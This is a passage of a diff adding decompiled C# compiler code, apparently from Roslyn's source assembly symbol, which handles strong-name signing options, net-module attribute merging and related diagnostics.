(((PEModuleSymbol)_modules[i]).Module.ContainsNoPiaLocalTypes()) + { + return true; + } + } + return SourceModule.MightContainNoPiaLocalTypes(); + } + + internal override Symbol GetSpecialTypeMember(SpecialMember member) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (!((Compilation)_compilation).IsMemberMissing(member)) + { + return base.GetSpecialTypeMember(member); + } + return null; + } + + private string? GetWellKnownAttributeDataStringField(Func, string> fieldGetter, string? missingValue = null, QuickAttributes? attributeMatchesOpt = null) + { + string text = missingValue; + CommonAssemblyWellKnownAttributeData val = (CommonAssemblyWellKnownAttributeData)((!attributeMatchesOpt.HasValue) ? ((object)GetSourceDecodedWellKnownAttributeData()) : ((object)GetSourceDecodedWellKnownAttributeData(attributeMatchesOpt.Value))); + if (val != null) + { + text = fieldGetter(val); + } + if ((object)text == missingValue) + { + val = ((!attributeMatchesOpt.HasValue || _lazyNetModuleAttributesBag != null) ? GetNetModuleDecodedWellKnownAttributeData() : GetLimitedNetModuleDecodedWellKnownAttributeData(attributeMatchesOpt.Value)); + if (val != null) + { + text = fieldGetter(val); + } + } + return text; + } + + private StrongNameKeys ComputeStrongNameKeys() + { + string text = ((CompilationOptions)_compilation.Options).CryptoKeyFile; + if (((CompilationOptions)DeclaringCompilation.Options).PublicSign) + { + if (!string.IsNullOrEmpty(text) && !PathUtilities.IsAbsolute(text)) + { + return StrongNameKeys.None; + } + return StrongNameKeys.Create(text, (CommonMessageProvider)(object)MessageProvider.Instance); + } + if (string.IsNullOrEmpty(text)) + { + text = AssemblyKeyFileAttributeSetting; + if ((object)text == WellKnownAttributeData.StringMissingValue) + { + text = null; + } + } + string text2 = ((CompilationOptions)_compilation.Options).CryptoKeyContainer; + if (string.IsNullOrEmpty(text2)) + { + text2 = AssemblyKeyContainerAttributeSetting; + if ((object)text2 == WellKnownAttributeData.StringMissingValue) + { + text2 = null; + } + } + bool flag = !string.IsNullOrEmpty(SignatureKey); + return StrongNameKeys.Create(((CompilationOptions)DeclaringCompilation.Options).StrongNameProvider, text, text2, flag, (CommonMessageProvider)(object)MessageProvider.Instance); + } + + private void ValidateAttributeSemantics(BindingDiagnosticBag diagnostics) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Invalid comparison between Unknown and I4 + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + if (StrongNameKeys.DiagnosticOpt != null && !EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind)) + { + ((BindingDiagnosticBag)diagnostics).Add(StrongNameKeys.DiagnosticOpt); + } + ValidateIVTPublicKeys(diagnostics); + CheckOptimisticIVTAccessGrants(diagnostics); + DetectAttributeAndOptionConflicts(diagnostics); + if (IsDelaySigned && !Identity.HasPublicKey) + { + diagnostics.Add(ErrorCode.WRN_DelaySignButNoKey, NoLocation.Singleton); + } + if (((CompilationOptions)DeclaringCompilation.Options).PublicSign) + { + if (EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind)) + { + diagnostics.Add(ErrorCode.ERR_PublicSignNetModule, NoLocation.Singleton); + } + else if (!Identity.HasPublicKey) + { + diagnostics.Add(ErrorCode.ERR_PublicSignButNoKey, NoLocation.Singleton); + } + } + if ((int)((CompilationOptions)DeclaringCompilation.Options).OutputKind != 3 && ((CompilationOptions)DeclaringCompilation.Options).CryptoPublicKey.IsEmpty && Identity.HasPublicKey && !IsDelaySigned && !((CompilationOptions)DeclaringCompilation.Options).PublicSign && !StrongNameKeys.CanSign && StrongNameKeys.DiagnosticOpt == null) + { + diagnostics.Add(ErrorCode.ERR_SignButNoPrivateKey, NoLocation.Singleton, StrongNameKeys.KeyFilePath); + } + ReportDiagnosticsForSynthesizedAttributes(_compilation, diagnostics); + } + + private static void ReportDiagnosticsForSynthesizedAttributes(CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + ReportDiagnosticsForUnsafeSynthesizedAttributes(compilation, diagnostics); + if (!EnumBounds.IsNetModule(((CompilationOptions)compilation.Options).OutputKind)) + { + if (!(compilation.GetWellKnownType((WellKnownType)176) is MissingMetadataTypeSymbol)) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(compilation, (WellKnownMember)114, diagnostics, NoLocation.Singleton); + } + if (!(compilation.GetWellKnownType((WellKnownType)177) is MissingMetadataTypeSymbol)) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(compilation, (WellKnownMember)115, diagnostics, NoLocation.Singleton); + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(compilation, (WellKnownMember)116, diagnostics, NoLocation.Singleton); + } + } + } + + private static void ReportDiagnosticsForUnsafeSynthesizedAttributes(CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + if (compilation.Options.AllowUnsafe && !(compilation.GetWellKnownType((WellKnownType)236) is MissingMetadataTypeSymbol)) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(compilation, (WellKnownMember)134, diagnostics, NoLocation.Singleton); + if (!(compilation.GetWellKnownType((WellKnownType)239) is MissingMetadataTypeSymbol) && !(compilation.GetWellKnownType((WellKnownType)237) is MissingMetadataTypeSymbol)) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(compilation, (WellKnownMember)136, diagnostics, NoLocation.Singleton); + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(compilation, (WellKnownMember)137, diagnostics, NoLocation.Singleton); + } + } + } + + private void ValidateIVTPublicKeys(BindingDiagnosticBag diagnostics) + { + EnsureAttributesAreBound(); + if (!Identity.IsStrongName || _lazyInternalsVisibleToMap == null) + { + return; + } + foreach (ConcurrentDictionary, Tuple> value in _lazyInternalsVisibleToMap.Values) + { + foreach (KeyValuePair, Tuple> item in value) + { + if (item.Key.IsDefaultOrEmpty) + { + diagnostics.Add(ErrorCode.ERR_FriendAssemblySNReq, item.Value.Item1, item.Value.Item2); + } + } + } + } + + private void DetectAttributeAndOptionConflicts(BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_01bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Invalid comparison between Unknown and I4 + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Invalid comparison between Unknown and I4 + //IL_0301: Unknown result type (might be due to invalid IL or missing references) + //IL_0233: Unknown result type (might be due to invalid IL or missing references) + //IL_0239: Invalid comparison between Unknown and I4 + //IL_01e9: Unknown result type (might be due to invalid IL or missing references) + //IL_01ee: Unknown result type (might be due to invalid IL or missing references) + //IL_018c: Unknown result type (might be due to invalid IL or missing references) + //IL_0191: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Unknown result type (might be due to invalid IL or missing references) + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_027c: Unknown result type (might be due to invalid IL or missing references) + //IL_0282: Invalid comparison between Unknown and I4 + //IL_032d: Unknown result type (might be due to invalid IL or missing references) + //IL_0332: Unknown result type (might be due to invalid IL or missing references) + //IL_02d0: Unknown result type (might be due to invalid IL or missing references) + //IL_02d5: Unknown result type (might be due to invalid IL or missing references) + //IL_0297: Unknown result type (might be due to invalid IL or missing references) + //IL_029c: Unknown result type (might be due to invalid IL or missing references) + EnsureAttributesAreBound(); + ThreeState assemblyDelaySignAttributeSetting = AssemblyDelaySignAttributeSetting; + AttributeDescription val; + if (((CompilationOptions)_compilation.Options).DelaySign.HasValue && (int)assemblyDelaySignAttributeSetting != 0 && ((CompilationOptions)DeclaringCompilation.Options).DelaySign.Value != ((int)assemblyDelaySignAttributeSetting == 2)) + { + Location singleton = NoLocation.Singleton; + object[] obj = new object[2] { "DelaySign", null }; + val = AttributeDescription.AssemblyDelaySignAttribute; + obj[1] = ((AttributeDescription)(ref val)).FullName; + diagnostics.Add(ErrorCode.WRN_CmdOptionConflictsSource, singleton, obj); + } + if (((CompilationOptions)_compilation.Options).PublicSign && (int)assemblyDelaySignAttributeSetting == 2) + { + Location singleton2 = NoLocation.Singleton; + object[] obj2 = new object[2] { "PublicSign", null }; + val = AttributeDescription.AssemblyDelaySignAttribute; + obj2[1] = ((AttributeDescription)(ref val)).FullName; + diagnostics.Add(ErrorCode.WRN_CmdOptionConflictsSource, singleton2, obj2); + } + if (!string.IsNullOrEmpty(((CompilationOptions)_compilation.Options).CryptoKeyContainer)) + { + string assemblyKeyContainerAttributeSetting = AssemblyKeyContainerAttributeSetting; + if ((object)assemblyKeyContainerAttributeSetting == WellKnownAttributeData.StringMissingValue) + { + if ((int)((CompilationOptions)_compilation.Options).OutputKind == 3) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(_compilation, (WellKnownMember)46, diagnostics, NoLocation.Singleton); + } + } + else if (string.Compare(((CompilationOptions)_compilation.Options).CryptoKeyContainer, assemblyKeyContainerAttributeSetting, StringComparison.OrdinalIgnoreCase) != 0) + { + if ((int)((CompilationOptions)_compilation.Options).OutputKind == 3) + { + Location singleton3 = NoLocation.Singleton; + object[] array = new object[2]; + val = AttributeDescription.AssemblyKeyNameAttribute; + array[0] = ((AttributeDescription)(ref val)).FullName; + array[1] = "CryptoKeyContainer"; + diagnostics.Add(ErrorCode.ERR_CmdOptionConflictsSource, singleton3, array); + } + else + { + Location singleton4 = NoLocation.Singleton; + object[] obj3 = new object[2] { "CryptoKeyContainer", null }; + val = AttributeDescription.AssemblyKeyNameAttribute; + obj3[1] = ((AttributeDescription)(ref val)).FullName; + diagnostics.Add(ErrorCode.WRN_CmdOptionConflictsSource, singleton4, obj3); + } + } + } + if (((CompilationOptions)_compilation.Options).PublicSign && !EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind) && (object)AssemblyKeyContainerAttributeSetting != WellKnownAttributeData.StringMissingValue) + { + Location singleton5 = NoLocation.Singleton; + object[] array2 = new object[1]; + val = AttributeDescription.AssemblyKeyNameAttribute; + array2[0] = ((AttributeDescription)(ref val)).FullName; + diagnostics.Add(ErrorCode.WRN_AttributeIgnoredWhenPublicSigning, singleton5, array2); + } + if (!string.IsNullOrEmpty(((CompilationOptions)_compilation.Options).CryptoKeyFile)) + { + string assemblyKeyFileAttributeSetting = AssemblyKeyFileAttributeSetting; + if ((object)assemblyKeyFileAttributeSetting == WellKnownAttributeData.StringMissingValue) + { + if ((int)((CompilationOptions)_compilation.Options).OutputKind == 3) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(_compilation, (WellKnownMember)45, diagnostics, NoLocation.Singleton); + } + } + else if (string.Compare(((CompilationOptions)_compilation.Options).CryptoKeyFile, assemblyKeyFileAttributeSetting, StringComparison.OrdinalIgnoreCase) != 0) + { + if ((int)((CompilationOptions)_compilation.Options).OutputKind == 3) + { + Location singleton6 = NoLocation.Singleton; + object[] array3 = new object[2]; + val = AttributeDescription.AssemblyKeyFileAttribute; + array3[0] = ((AttributeDescription)(ref val)).FullName; + array3[1] = "CryptoKeyFile"; + diagnostics.Add(ErrorCode.ERR_CmdOptionConflictsSource, singleton6, array3); + } + else + { + Location singleton7 = NoLocation.Singleton; + object[] obj4 = new object[2] { "CryptoKeyFile", null }; + val = AttributeDescription.AssemblyKeyFileAttribute; + obj4[1] = ((AttributeDescription)(ref val)).FullName; + diagnostics.Add(ErrorCode.WRN_CmdOptionConflictsSource, singleton7, obj4); + } + } + } + if (((CompilationOptions)_compilation.Options).PublicSign && !EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind) && (object)AssemblyKeyFileAttributeSetting != WellKnownAttributeData.StringMissingValue) + { + Location singleton8 = NoLocation.Singleton; + object[] array4 = new object[1]; + val = AttributeDescription.AssemblyKeyFileAttribute; + array4[0] = ((AttributeDescription)(ref val)).FullName; + diagnostics.Add(ErrorCode.WRN_AttributeIgnoredWhenPublicSigning, singleton8, array4); + } + } + + internal override bool HasComplete(CompletionPart part) + { + return _state.HasComplete(part); + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = _state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Attributes: + EnsureAttributesAreBound(); + break; + case CompletionPart.StartBaseType: + case CompletionPart.FinishBaseType: + if (_state.NotePartComplete(CompletionPart.StartBaseType)) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + ValidateAttributeSemantics(instance); + AddDeclarationDiagnostics(instance); + _state.NotePartComplete(CompletionPart.FinishBaseType); + ((BindingDiagnosticBag)(object)instance).Free(); + } + break; + case CompletionPart.StartInterfaces: + SourceModule.ForceComplete(locationOpt, cancellationToken); + if (SourceModule.HasComplete(CompletionPart.MembersCompleted)) + { + _state.NotePartComplete(CompletionPart.StartInterfaces); + break; + } + return; + case CompletionPart.EnumUnderlyingType: + case CompletionPart.TypeArguments: + if (_state.NotePartComplete(CompletionPart.EnumUnderlyingType)) + { + ReportDiagnosticsForAddedModules(); + _state.NotePartComplete(CompletionPart.TypeArguments); + } + break; + case CompletionPart.None: + return; + default: + _state.NotePartComplete(CompletionPart.NamespaceSymbolAll | CompletionPart.ReturnTypeAttributes | CompletionPart.Parameters | CompletionPart.Type | CompletionPart.FinishInterfaces | CompletionPart.TypeParameters | CompletionPart.TypeMembers | CompletionPart.SynthesizedExplicitImplementations | CompletionPart.StartMemberChecks | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted); + break; + } + _state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + private void ReportDiagnosticsForAddedModules() + { + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + foreach (KeyValuePair item in ((CommonReferenceManager)(object)_compilation.GetBoundReferenceManager()).ReferencedModuleIndexMap) + { + MetadataReference key = item.Key; + PortableExecutableReference val = (PortableExecutableReference)(object)((key is PortableExecutableReference) ? key : null); + if (val != null && val.FilePath != null) + { + string fileName = FileNameUtilities.GetFileName(val.FilePath, true); + string name = _modules[item.Value].Name; + if (!string.Equals(fileName, name, StringComparison.OrdinalIgnoreCase)) + { + instance.Add(ErrorCode.ERR_NetModuleNameMismatch, NoLocation.Singleton, name, fileName); + } + } + } + if (_modules.Length > 1 && !EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind)) + { + Machine machine = base.Machine; + bool flag = machine == Machine.I386 && !base.Bit32Required; + HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); + for (int i = 1; i < _modules.Length; i++) + { + ModuleSymbol moduleSymbol = _modules[i]; + if (!hashSet.Add(moduleSymbol.Name)) + { + instance.Add(ErrorCode.ERR_NetModuleNameMustBeUnique, NoLocation.Singleton, moduleSymbol.Name); + } + if (((PEModuleSymbol)moduleSymbol).Module.IsCOFFOnly) + { + continue; + } + Machine machine2 = moduleSymbol.Machine; + if (machine2 != Machine.I386 || moduleSymbol.Bit32Required) + { + if (flag) + { + instance.Add(ErrorCode.ERR_AgnosticToMachineModule, NoLocation.Singleton, moduleSymbol); + } + else if (machine != machine2) + { + instance.Add(ErrorCode.ERR_ConflictingMachineModule, NoLocation.Singleton, moduleSymbol); + } + } + } + for (int j = 1; j < _modules.Length; j++) + { + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)_modules[j]; + try + { + foreach (string item2 in pEModuleSymbol.Module.GetReferencedManagedModulesOrThrow()) + { + if (hashSet.Add(item2)) + { + instance.Add(ErrorCode.ERR_MissingNetModuleReference, NoLocation.Singleton, item2); + } + } + } + catch (BadImageFormatException) + { + instance.Add((DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, pEModuleSymbol), NoLocation.Singleton); + } + } + } + ReportNameCollisionDiagnosticsForAddedModules(GlobalNamespace, instance); + AddDeclarationDiagnostics(instance); + ((BindingDiagnosticBag)(object)instance).Free(); + } + + private void ReportNameCollisionDiagnosticsForAddedModules(NamespaceSymbol ns, BindingDiagnosticBag diagnostics) + { + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Invalid comparison between Unknown and I4 + if (!(ns is MergedNamespaceSymbol { ConstituentNamespaces: var constituentNamespaces } mergedNamespaceSymbol) || (constituentNamespaces.Length <= 2 && (constituentNamespaces.Length != 2 || constituentNamespaces[0].ContainingModule.Ordinal == 0 || constituentNamespaces[1].ContainingModule.Ordinal == 0))) + { + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = constituentNamespaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceSymbol current = enumerator.Current; + if (current.ContainingModule.Ordinal != 0) + { + instance.AddRange(current.GetTypeMembers()); + } + } + instance.Sort((IComparer)NameCollisionForAddedModulesTypeComparer.Singleton); + bool flag = false; + for (int i = 0; i < instance.Count - 1; i++) + { + NamedTypeSymbol namedTypeSymbol = instance[i]; + NamedTypeSymbol namedTypeSymbol2 = instance[i + 1]; + if (namedTypeSymbol.Arity == namedTypeSymbol2.Arity && namedTypeSymbol.Name == namedTypeSymbol2.Name) + { + if (!flag) + { + if (namedTypeSymbol.Arity != 0 || !namedTypeSymbol.ContainingNamespace.IsGlobalNamespace || namedTypeSymbol.Name != "") + { + diagnostics.Add(ErrorCode.ERR_DuplicateNameInNS, namedTypeSymbol2.GetFirstLocationOrNone(), ((Symbol)namedTypeSymbol2).ToDisplayString(SymbolDisplayFormat.ShortFormat), namedTypeSymbol2.ContainingNamespace); + } + flag = true; + } + } + else + { + flag = false; + } + } + instance.Free(); + ImmutableArray.Enumerator enumerator2 = mergedNamespaceSymbol.GetMembers().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if ((int)current2.Kind == 12) + { + ReportNameCollisionDiagnosticsForAddedModules((NamespaceSymbol)current2, diagnostics); + } + } + } + + private bool IsKnownAssemblyAttribute(CSharpAttributeData attribute) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyTitleAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyDescriptionAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyConfigurationAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyCultureAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyVersionAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyCompanyAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyProductAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyInformationalVersionAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyCopyrightAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyTrademarkAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyKeyFileAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyKeyNameAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyAlgorithmIdAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyFlagsAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyDelaySignAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblyFileVersionAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.SatelliteContractVersionAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.AssemblySignatureKeyAttribute)) + { + return true; + } + return false; + } + + private void AddOmittedAttributeIndex(int index) + { + if (_lazyOmittedAttributeIndices == null) + { + Interlocked.CompareExchange(ref _lazyOmittedAttributeIndices, new ConcurrentSet(), null); + } + _lazyOmittedAttributeIndices.Add(index); + } + + private HashSet GetUniqueSourceAssemblyAttributes() + { + ImmutableArray attributes = GetSourceAttributesBag().Attributes; + HashSet uniqueAttributes = null; + for (int i = 0; i < attributes.Length; i++) + { + CSharpAttributeData cSharpAttributeData = attributes[i]; + if (!((AttributeData)cSharpAttributeData).HasErrors && !AddUniqueAssemblyAttribute(cSharpAttributeData, ref uniqueAttributes)) + { + AddOmittedAttributeIndex(i); + } + } + return uniqueAttributes; + } + + private static bool AddUniqueAssemblyAttribute(CSharpAttributeData attribute, ref HashSet uniqueAttributes) + { + if (uniqueAttributes == null) + { + uniqueAttributes = new HashSet((IEqualityComparer?)CommonAttributeDataComparer.Instance); + } + return uniqueAttributes.Add(attribute); + } + + private bool ValidateAttributeUsageForNetModuleAttribute(CSharpAttributeData attribute, string netModuleName, BindingDiagnosticBag diagnostics, ref HashSet uniqueAttributes) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol attributeClass = attribute.AttributeClass; + AttributeUsageInfo attributeUsageInfo = attributeClass.GetAttributeUsageInfo(); + if (((AttributeUsageInfo)(ref attributeUsageInfo)).AllowMultiple) + { + return AddUniqueAssemblyAttribute(attribute, ref uniqueAttributes); + } + if (uniqueAttributes == null || !EnumerableExtensions.Contains((IEnumerable)uniqueAttributes, (Func)((CSharpAttributeData a) => TypeSymbol.Equals(a.AttributeClass, attributeClass, (TypeCompareKind)0)))) + { + AddUniqueAssemblyAttribute(attribute, ref uniqueAttributes); + return true; + } + if (IsKnownAssemblyAttribute(attribute)) + { + if (!uniqueAttributes.Contains(attribute)) + { + diagnostics.Add(ErrorCode.WRN_AssemblyAttributeFromModuleIsOverridden, NoLocation.Singleton, attribute.AttributeClass, netModuleName); + } + } + else if (AddUniqueAssemblyAttribute(attribute, ref uniqueAttributes)) + { + diagnostics.Add(ErrorCode.ERR_DuplicateAttributeInNetModule, NoLocation.Singleton, attribute.AttributeClass.Name, netModuleName); + } + return false; + } + + private ImmutableArray GetNetModuleAttributes(out ImmutableArray netModuleNames) + { + ArrayBuilder val = null; + ArrayBuilder val2 = null; + for (int i = 1; i < _modules.Length; i++) + { + PEModuleSymbol obj = (PEModuleSymbol)_modules[i]; + string name = obj.Name; + ImmutableArray.Enumerator enumerator = obj.GetAssemblyAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (val2 == null) + { + val2 = ArrayBuilder.GetInstance(); + val = ArrayBuilder.GetInstance(); + } + val2.Add(name); + val.Add(current); + } + } + if (val2 == null) + { + netModuleNames = ImmutableArray.Empty; + return ImmutableArray.Empty; + } + netModuleNames = val2.ToImmutableAndFree(); + return val.ToImmutableAndFree(); + } + + private WellKnownAttributeData ValidateAttributeUsageAndDecodeWellKnownAttributes(ImmutableArray attributesFromNetModules, ImmutableArray netModuleNames, BindingDiagnosticBag diagnostics) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + int length = attributesFromNetModules.Length; + int length2 = GetSourceAttributesBag().Attributes.Length; + HashSet uniqueAttributes = GetUniqueSourceAssemblyAttributes(); + DecodeWellKnownAttributeArguments arguments = new DecodeWellKnownAttributeArguments + { + AttributesCount = length, + Diagnostics = (BindingDiagnosticBag)(object)diagnostics, + SymbolPart = AttributeLocation.None + }; + for (int num = length - 1; num >= 0; num--) + { + int index = num + length2; + CSharpAttributeData cSharpAttributeData = attributesFromNetModules[num]; + if (!((AttributeData)cSharpAttributeData).HasErrors && ValidateAttributeUsageForNetModuleAttribute(cSharpAttributeData, netModuleNames[num], diagnostics, ref uniqueAttributes)) + { + arguments.Attribute = cSharpAttributeData; + arguments.Index = num; + arguments.AttributeSyntaxOpt = null; + DecodeWellKnownAttribute(ref arguments, index, isFromNetModule: true); + } + else + { + AddOmittedAttributeIndex(index); + } + } + if (!arguments.HasDecodedData) + { + return null; + } + return arguments.DecodedData; + } + + private void LoadAndValidateNetModuleAttributes(ref CustomAttributesBag lazyNetModuleAttributesBag) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind)) + { + Interlocked.CompareExchange(ref lazyNetModuleAttributesBag, CustomAttributesBag.Empty, null); + return; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + ImmutableArray netModuleNames; + ImmutableArray netModuleAttributes = GetNetModuleAttributes(out netModuleNames); + WellKnownAttributeData val = null; + if (netModuleAttributes.Any()) + { + val = ValidateAttributeUsageAndDecodeWellKnownAttributes(netModuleAttributes, netModuleNames, instance); + } + else + { + GetUniqueSourceAssemblyAttributes(); + } + HashSet hashSet = null; + for (int num = _modules.Length - 1; num > 0; num--) + { + foreach (NamedTypeSymbol forwardedType in ((PEModuleSymbol)_modules[num]).GetForwardedTypes()) + { + if (hashSet == null) + { + if (val == null) + { + val = (WellKnownAttributeData)(object)new CommonAssemblyWellKnownAttributeData(); + } + hashSet = ((CommonAssemblyWellKnownAttributeData)(object)val).ForwardedTypes; + if (hashSet == null) + { + hashSet = new HashSet(); + ((CommonAssemblyWellKnownAttributeData)(object)val).ForwardedTypes = hashSet; + } + } + if (hashSet.Add(forwardedType) && forwardedType.IsErrorType() && !instance.ReportUseSite(forwardedType, NoLocation.Singleton)) + { + DiagnosticInfo errorInfo = ((ErrorTypeSymbol)forwardedType).ErrorInfo; + if (errorInfo != null) + { + instance.Add(errorInfo, NoLocation.Singleton); + } + } + } + } + CustomAttributesBag val2; + if (val != null || netModuleAttributes.Any()) + { + val2 = new CustomAttributesBag(); + val2.SetEarlyDecodedWellKnownAttributeData((EarlyWellKnownAttributeData)null); + val2.SetDecodedWellKnownAttributeData(val); + val2.SetAttributes(netModuleAttributes); + if (val2.IsEmpty) + { + val2 = CustomAttributesBag.Empty; + } + } + else + { + val2 = CustomAttributesBag.Empty; + } + if (Interlocked.CompareExchange(ref lazyNetModuleAttributesBag, val2, null) == null) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + + private CommonAssemblyWellKnownAttributeData GetLimitedNetModuleDecodedWellKnownAttributeData(QuickAttributes attributeMatches) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind)) + { + return null; + } + ImmutableArray netModuleNames; + ImmutableArray netModuleAttributes = GetNetModuleAttributes(out netModuleNames); + WellKnownAttributeData val = null; + if (netModuleAttributes.Any()) + { + val = limitedDecodeWellKnownAttributes(netModuleAttributes, netModuleNames, attributeMatches); + } + return (CommonAssemblyWellKnownAttributeData)(object)val; + void limitedDecodeWellKnownAttribute(CSharpAttributeData attribute, QuickAttributes quickAttributes, ref CommonAssemblyWellKnownAttributeData result) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + TypedConstant val2; + if (quickAttributes == QuickAttributes.AssemblySignatureKey && attribute.IsTargetAttribute(this, AttributeDescription.AssemblySignatureKeyAttribute)) + { + if (result == null) + { + result = new CommonAssemblyWellKnownAttributeData(); + } + CommonAssemblyWellKnownAttributeData obj = result; + val2 = ((AttributeData)attribute).CommonConstructorArguments[0]; + obj.AssemblySignatureKeyAttributeSetting = (string)((TypedConstant)(ref val2)).ValueInternal; + } + else if (quickAttributes == QuickAttributes.AssemblyKeyFile && attribute.IsTargetAttribute(this, AttributeDescription.AssemblyKeyFileAttribute)) + { + if (result == null) + { + result = new CommonAssemblyWellKnownAttributeData(); + } + CommonAssemblyWellKnownAttributeData obj2 = result; + val2 = ((AttributeData)attribute).CommonConstructorArguments[0]; + obj2.AssemblyKeyFileAttributeSetting = (string)((TypedConstant)(ref val2)).ValueInternal; + } + else if (quickAttributes == QuickAttributes.AssemblyKeyName && attribute.IsTargetAttribute(this, AttributeDescription.AssemblyKeyNameAttribute)) + { + if (result == 